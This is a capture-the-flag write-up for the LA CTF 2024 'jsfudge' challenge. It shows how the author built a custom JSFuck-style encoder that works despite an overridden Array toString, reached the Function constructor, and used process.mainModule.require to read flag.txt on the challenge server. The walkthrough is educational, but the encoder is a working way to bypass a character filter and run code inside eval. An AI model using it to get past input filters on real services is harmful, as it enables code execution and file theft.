--- title: 'LA CTF 2024: misc/jsfudge' date: 2024-02-21 tags: ['ctf', 'ctf-misc', 'javascript'] --- ## Task > **misc/jsfudge** > > JsFudge this JsFudge that, why don't you JsFudge the flag. > > `nc chall.lac.tf 31130` > > [`Dockerfile`](https://chall-files.lac.tf/uploads/84b3fd350b2a27736462269c6ede4a9adf00cf5aeb6653f36cc91608e6e80331/Dockerfile) [`index.js`](https://chall-files.lac.tf/uploads/4bc1377c69bfa58cdfe43e78aed7270001ecdc43fe3a57cf7d32f835fc832b9e/index.js) - `Author: r2dev2` - `Points: 486` - `Solves: 31 / 1074 (2.886%)` ## Writeup This challenge prompts us for some JavaScript code to be evaluated and printed, with the constraint that the code must only consist of the characters `()+[]!`. It's pretty obvious that the challenge wants us to give it some JSFuck code, given the title and the fact that JSFuck also only uses `()+[]!`. Using an online JSFuck compiler, let's compile the following code: ```js require('fs').readFileSync('flag.txt') // => [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[]) ... (7384 chars total) ``` Now let's try giving this to the program: ```console $ xclip -o | node index.js Gimme some js code to run oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'eundefinednsundefinedrundefinedeundefinedundefinedr') at eval (eval at runCode (/tmp/index.js:3:88), :1:69) at runCode (/tmp/index.js:3:88) at /tmp/index.js:6:164 at process.processTicksAndRejections (node:internal/process/task_queues:95:5) ``` Well that's not what we wanted. After a closer look at `index.js`, we notice that the `toString` method for arrays has been overwritten: ```js // save the old array toString const oldProto = [].__proto__.toString; // replace it with a function that always returns '^w^' [].__proto__.toString = () => '^w^'; // now converting any array to a string will return '^w^' ... // eval our code const codeRes = eval(code); ... // restore array toString (not like it matters since the program will just exit after this anyways) [].__proto__.toString = oldProto; ``` By default, converting an array to a string will result in the `toString` of each element joined by commas. Since JSFuck relies on this behavior, our compiled code does not function now that `[].__proto__.toString` has been overwritten. We will have to implement our own JSFuck compiler, accounting for the new `toString`. However, we can copy many parts of the existing JSFuck compiler, as long as they do not rely on the value returned by `[].__proto__.toString`. Let's start with some basic values: ```js let vals = { // unary ! converts the value to a bool, and arrays are truthy, so negating one gives us false false: '![]', // the negation of false is true true: '!![]', // unary + converts the value to a number // [] is first converted to a string though // +"^w^" => NaN // if toString wasn't changed through, this would produce 0 instead // (one of the changes messing up the default implementation of JSFuck here) // +"" => 0 NaN: '+[]', // create an empty array, access the property [].toString() // []["^w^"] => undefined undefined: '[][[]]', // converting false to a number gives us 0 0: '+![]', // converting true to a number gives us 1 1: '+!![]', // 1 + 1 = 2 2: '+!![]+!![]', // 1 + 1 + 1 = 3 3: '+!![]+!![]+!![]', // etc. 4: '+!![]+!![]+!![]+!![]', 5: '+!![]+!![]+!![]+!![]+!![]', 6: '+!![]+!![]+!![]+!![]+!![]+!![]', 7: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]', 8: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]', 9: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]', }; ``` Let's also define ways to get specific characters: ```js let chars = { // (false + [])[0] // => ("false" + "^w^")[0] // => "false^w^"[0] // => "f" f: `(![]+[])[+![]]`, // "false^w^"[1], etc. a: `(![]+[])[+!![]]`, l: `(![]+[])[!![]+!![]]`, s: `(![]+[])[!![]+!![]+!![]]`, e: `(!![]+[])[!![]+!![]+!![]]`, // (true + [])[0] // => "true^w^"[0], etc. t: `(!![]+[])[+![]]`, r: `(!![]+[])[+!![]]`, u: `(!![]+[])[+!![]+!![]]`, // (NaN + [])[0] // => "NaN^w^"[0] N: `(+[]+[])[+![]]`, // (0 + [])[0] // => "0^w^"[0], etc 0: `(${vals[0]}+[])[+![]]`, 1: `(${vals[1]}+[])[+![]]`, 2: `(${vals[2]}+[])[+![]]`, 3: `(${vals[3]}+[])[+![]]`, 4: `(${vals[4]}+[])[+![]]`, 5: `(${vals[5]}+[])[+![]]`, 6: `(${vals[6]}+[])[+![]]`, 7: `(${vals[7]}+[])[+![]]`, 8: `(${vals[8]}+[])[+![]]`, 9: `(${vals[9]}+[])[+![]]`, }; ``` Now let's define a function to generate code to produce a string, by obtaining each character and concatenating: ```js function str(s) { return s.split('').map(e => chars[e] ?? (console.log('undefined char:', e), process.exit(-1))).join('+') } ``` Now that we can generate some strings, our next goal is to be able to execute strings as code. We can do this through the `Function` constructor, which takes a string argument and returns a function that executes the string when called. To obtain `Function` though, we will need a couple more characters. ```js // []['flat'] + [] // => (array.flat function) + [] // => 'function flat() { [native code] }' + '^w^' // => 'function flat() { [native code] }^w^' flat = `([][${str('flat')}]+[])`; // 'function flat() { [native code] }^w^'[2], etc. chars.n = flat + `[${vals[2]}]`; chars.c = flat + `[${vals[3]}]`; chars.o = flat + `[${vals[6]}]`; // now we can spell 'constructor', but we will also need i, (, and ) for later chars.i = flat + `[${vals[5]}]`; chars['('] = flat + `[${str('13')}]`; chars[')'] = flat + `[${str('14')}]`; // []['flat']['constructor'] // => (array.flat function).constructor // => Function vals[Function] = `[][${str('flat')}][${str('constructor')}]`; // we might as well get the Number and String constructors as well now, as we'll need them later too // '^w^^w^'.constructor vals[String] = `([]+[])[${str('constructor')}]`; // NaN.constructor vals[Number] = `(+[])[${str('constructor')}]`; // now we can generate code that executes a given string function call(code) { return `${vals[Function]}(${str(code)})()` } ``` We only need a few more characters to execute `require("fs").readFileSync("flag.txt")`: ```js // '^w^^w^'.fontcolor // this function does the following: // "string".fontcolor("blue") => 'string' fontcolor = `([]+[])[${str('fontcolor')}]`; // '^w^'[12] chars['"'] = `${fontcolor}()[${str('12')}]`; // '^w^'[14] chars.q = `${fontcolor}(${chars['"']})[${str('14')}]`; // 'function String() { [native code] }^w^'[14] chars.g = `(${vals[String]}+[])[${str('14')}]`; // (+"11e20" + [])[1] // => (1.1e21 + [])[1] // => "1.1e21^w^"[1] chars['.'] = `(+(${str('11e20')})+[])[${vals[1]}]`; // "undefined^w^"[2] chars.d = `(${vals[undefined]}+[])[${vals[2]}]`; // (+"1e1000" + [])[7] // => (1e1000 + [])[7] // => (Infinity + [])[7] // => "Infinity^w^"[7] chars.y = `(+(${str('1e1000')})+[])[${vals[7]}]`; // 'function String() { [native code] }^w^'[9] chars.S = `(${vals[String]}+[])[${vals[9]}]`; // 'function Function() { [native code] }^w^'[9] chars.F = `(${vals[Function]}+[])[${vals[9]}]`; // (+"101").toString("34")[1] // => (101).toString(34)[1] // => "2x"[1] // (2x is 101 in base 34) chars.x = `(+(${str('101')}))[${str('toString')}](${str('34')})[${vals[1]}]`; // now we have all the characters we need // we can't rely on the console.log in index.js though, since we are running this code in a function // we would need to prefix this with "return " if we wanted to use that console.log, // but that would require us to get an extra character, the space after return console.log(call(`console.log(require("fs").readFileSync("flag.txt"))`)); // [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (11534 chars total) ``` Running our program now will generate JSFuck code to print the flag. Let's pipe this into the challenge and get our flag: ```console $ node jsfuck.js | nc chall.lac.tf 31130 Gimme some js code to run oopsie woopsie stinki poopie ReferenceError: require is not defined at eval (eval at (eval at runCode (/app/run:16:21)), :3:9) at eval (eval at runCode (/app/run:16:21), :1:11532) at runCode (/app/run:16:21) at /app/run:31:5 at process.processTicksAndRejections (node:internal/process/task_queues:95:5) ``` We get another error, saying that `require` is not defined. That's odd, is `require` not able to used in an `eval` statement? ```console $ node Welcome to Node.js v21.6.1. Type ".help" for more information. > eval('require') [Function: require] { resolve: [Function: resolve] { paths: [Function: paths] }, main: undefined, extensions: [Object: null prototype] { '.js': [Function (anonymous)], '.json': [Function (anonymous)], '.node': [Function (anonymous)] }, cache: [Object: null prototype] {} } ``` Nope, this works just fine. Maybe it's the call to the `Function` constructor that is preventing `require` from being accessed. ```console > eval('new Function("return require")()') [Function: require] { resolve: [Function: resolve] { paths: [Function: paths] }, main: undefined, extensions: [Object: null prototype] { '.js': [Function (anonymous)], '.json': [Function (anonymous)], '.node': [Function (anonymous)] }, cache: [Object: null prototype] {} } ``` This also doesn't seem to be a problem. What's happening here is very subtle. In Node.js, although `require` appears to be part of the global scope, it actually belongs to the module scope. When a module is executed, it is wrapped into the following function to provide the values in module scope: ```js (function(exports, require, module, __filename, __dirname) { // Module code actually lives in here }); ``` For functions created with the `Function` constructor, the code is run in the global scope, so the module scope is not available. So why were we able to get `require` in the code above? When Node.js is either run as a REPL or by piping a script into `node`, `require` is added to the global scope, letting us use it in code run through the `Function` constructor. (This caused me a lot of trouble since I was using a REPL to test my code). We can see this in action by running the following commands: ```console $ echo "console.log(global.require === require)" > /tmp/test.js $ cat /tmp/test.js | node true $ node /tmp/test.js false $ node Welcome to Node.js v21.6.1. Type ".help" for more information. > global.require === require true ``` So if we are unable to access `require` directly, is all hope lost? It turns out that we can still access `require` through `process.mainModule.require`, requiring us to get some more characters: ```js // (+"211").toString("31")[1] // => (211).toString(31)[1] // => "6p"[1] chars.p = `(+(${str('211')}))[${str('toString')}](${str('31')})[${vals[1]}]`; // "function Number() { [native code] }^w^"[11] chars.m = `(${vals[Number]}+[])[${str('11')}]`; // "function flat() { [native code] }^w^"[8] chars[' '] = `([][${str('flat')}]+[])[${vals[8]}]`; // Function("return escape")()([]["flat"])["54"] // => escape([].flat)[54] // => escape("function flat() { [native code] }")[54] // => "function%20flat%28%29%20%7B%20%5Bnative%20code%5D%20%7D"[54] // => "D" chars.D = `${call('return escape')}([][${str('flat')}])[${str('54')}]`; // Function("return Date")()()["26"] // => Date()[26] // => "Sun Feb 18 2024 00:00:00 GMT-0600 (Central Standard Time)"[26] // (the part before "M" is always the same length, regardless of the actual date) // => "M" chars.M = `${call('return Date')}()[${str('26')}]`; console.log(call(`console.log(process.mainModule.require("fs").readFileSync("flag.txt"))`)); // [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (19114 chars total) ``` Finally, we can generate code that will actually work: ```console $ node jsfuck.js | nc chall.lac.tf 31130 Gimme some js code to run oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString') at runCode (/app/run:17:25) at /app/run:31:5 at process.processTicksAndRejections (node:internal/process/task_queues:95:5) $ echo "6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a" | xxd -r -p lactf{d0_y0u_f331_pr0ud} ``` Decoding the hex bytes of the buffer, we get the flag: `lactf{d0_y0u_f331_pr0ud}` ## Reference - [JSFuck](https://jsfuck.com/) - [JSFuck source](https://github.com/aemkei/jsfuck/blob/main/jsfuck.js) - [Node module wrapper](https://nodejs.org/docs/latest/api/modules.html#the-module-wrapper) - [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function)